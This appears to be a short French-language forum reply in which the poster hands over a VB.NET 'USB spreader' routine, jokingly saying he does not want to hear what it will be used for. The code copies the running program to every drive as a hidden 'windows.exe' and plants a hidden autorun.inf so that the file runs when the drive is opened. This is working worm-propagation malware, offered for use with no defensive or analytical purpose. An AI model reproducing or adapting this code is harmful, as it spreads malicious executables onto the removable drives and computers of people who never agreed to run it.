Ouh le vilain il veut un usb spreader hein !
Aller, je suis gentil.
Tu t'en démerde et je veux pas entendre parler de ce que tu vas en faire :°
Public Sub usb_spreader()
Try
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
If File.Exists(drivers & "windows.exe") = False Then
File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, drivers & "windows.exe")
End If
Dim commande = New StreamWriter(drivers & "autorun.inf")
commande.WriteLine("[autorun]")
commande.WriteLine("open = windows.exe")
commande.WriteLine("shellexecute=windows.exe")
commande.Close()
File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
File.SetAttributes(drivers & "windows.exe", FileAttributes.Hidden)
Next
Catch ex As Exception
End Try
End Sub